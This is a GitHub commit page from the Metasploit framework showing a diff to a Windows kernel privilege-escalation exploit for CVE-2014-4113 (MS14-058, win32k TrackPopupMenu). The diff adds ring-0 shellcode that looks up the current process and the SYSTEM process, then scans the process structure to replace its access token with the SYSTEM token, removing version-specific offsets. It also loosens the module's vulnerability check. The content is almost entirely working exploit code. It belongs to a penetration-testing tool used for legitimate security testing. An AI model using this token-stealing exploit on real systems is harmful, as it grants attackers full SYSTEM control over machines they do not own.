Skip to content

Commit cc7f7c9

Browse files
committed
Land rapid7#4108 - Avoid local offsets in CVE-2014-4113
2 parents 92ad2c4 + cbd616b commit cc7f7c9

File tree

4 files changed

+63
-67
lines changed

4 files changed

+63
-67
lines changed
512 Bytes
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 62 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,10 @@ typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
3838
OUT PVOID Process
3939
);
4040

41+
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
42+
_Inout_ PVOID Process
43+
);
44+
4145
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
4246
_In_ DWORD SystemInformationClass,
4347
_Inout_ PVOID SystemInformation,
@@ -70,9 +74,9 @@ BOOL bHookCallbackFlag = FALSE;
7074

7175
WNDPROC lpPrevWndFunc;
7276
DWORD dwMyProcessId = 0;
73-
DWORD dwOffsetWindows = 0;
7477

7578
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
79+
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
7680
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
7781

7882
#ifdef DEBUGGING
@@ -131,16 +135,55 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
131135
#endif
132136
}
133137

134-
int _stdcall shellcode_ring0(int one, int two, int three, int four)
138+
139+
// Search the specified data structure for a member with CurrentValue.
140+
BOOL find_and_replace_member(PDWORD pdwStructure, DWORD dwCurrentValue, DWORD dwNewValue, DWORD dwMaxSize)
135141
{
136-
void *my_process_info = NULL;
137-
void *system_info = NULL;
142+
DWORD dwIndex, dwMask;
143+
144+
// Microsoft QWORD aligns object pointers, then uses the lower three
145+
// bits for quick reference counting.
146+
#ifdef _M_X64
147+
dwMask = ~0xf;
148+
#else
149+
dwMask = ~7;
150+
#endif
151+
// dwMask out the reference count.
152+
dwCurrentValue &= dwMask;
138153

139-
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &my_process_info);
140-
pPsLookupProcessByProcessId((HANDLE)4, &system_info);
154+
// Scan the structure for any occurrence of dwCurrentValue.
155+
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
156+
{
157+
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
158+
{
159+
// And finally, replace it with NewValue.
160+
pdwStructure[dwIndex] = dwNewValue;
161+
return TRUE;
162+
}
163+
}
141164

142-
*(PDWORD)((PBYTE)my_process_info + dwOffsetWindows) = *(PDWORD)((PBYTE)system_info + dwOffsetWindows);
165+
// Member not found.
166+
return FALSE;
167+
}
143168

169+
int _stdcall shellcode_ring0(int one, int two, int three, int four)
170+
{
171+
void *pMyProcessInfo = NULL;
172+
void *pSystemInfo = NULL;
173+
PACCESS_TOKEN systemToken;
174+
PACCESS_TOKEN targetToken;
175+
176+
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
177+
pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
178+
179+
targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
180+
systemToken = pPsReferencePrimaryToken(pSystemInfo);
181+
182+
// Find the token in the target process, and replace with the system token.
183+
find_and_replace_member((PDWORD)pMyProcessInfo,
184+
(DWORD)targetToken,
185+
(DWORD)systemToken,
186+
0x200);
144187
return 0;
145188
}
146189

@@ -169,61 +212,6 @@ void win32k_null_page(LPVOID lpPayload)
169212
return;
170213
}
171214

172-
#ifdef _M_X64
173-
if (versionInfo.dwMajorVersion == 6 && versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
174-
{
175-
// Ex: Windows 7 SP1
176-
dprintf("[*] Windows 6.1 found...");
177-
dwOffsetWindows = 0x208;
178-
}
179-
#else
180-
if (versionInfo.dwMajorVersion == 6)
181-
{
182-
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
183-
{
184-
// Ex: Windows 7 SP1
185-
dprintf("[*] Windows 6.1 found...");
186-
dwOffsetWindows = 0xf8;
187-
}
188-
else if (!versionInfo.dwMinorVersion)
189-
{
190-
// Ex: Windows 2008 R2
191-
dprintf("[*] Windows 6.0 found...");
192-
dwOffsetWindows = 0xe0;
193-
}
194-
else
195-
{
196-
dprintf("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", versionInfo.dwMinorVersion);
197-
return;
198-
}
199-
}
200-
else if (versionInfo.dwMajorVersion == 5)
201-
{
202-
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
203-
{
204-
// Ex: Windows XP SP3
205-
dprintf("[*] Windows 5.1 found...");
206-
dwOffsetWindows = 0xc8;
207-
}
208-
else if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 2)
209-
{
210-
// Ex: Windows 2003 SP2
211-
dprintf("[*] Windows 5.2 found...");
212-
dwOffsetWindows = 0xd8;
213-
}
214-
else
215-
{
216-
dprintf("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm");
217-
return;
218-
}
219-
}
220-
#endif
221-
else
222-
{
223-
dprintf("[!] Major Version %d found, not supported", versionInfo.dwMajorVersion);
224-
return;
225-
}
226-
227215
// Solve symbols
228216
dprintf("[*] Solving symbols...");
229217

@@ -321,6 +309,18 @@ void win32k_null_page(LPVOID lpPayload)
321309
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
322310
dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
323311

312+
313+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");
314+
315+
if (pPsReferencePrimaryToken == NULL)
316+
{
317+
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
318+
return;
319+
}
320+
321+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
322+
dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);
323+
324324
dwMyProcessId = GetCurrentProcessId();
325325

326326
// Register Class

modules/exploits/windows/local/ms14_058_track_popup_menu.rb

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -94,11 +94,7 @@ def check
9494
return Exploit::CheckCode::Safe if build == 9200
9595
return Exploit::CheckCode::Safe if build == 9600
9696

97-
if arch == ARCH_X86
98-
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
99-
else
100-
return Exploit::CheckCode::Detected if build == 7601
101-
end
97+
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
10298

10399
return Exploit::CheckCode::Unknown
104100
end

0 commit comments

Comments
 (0)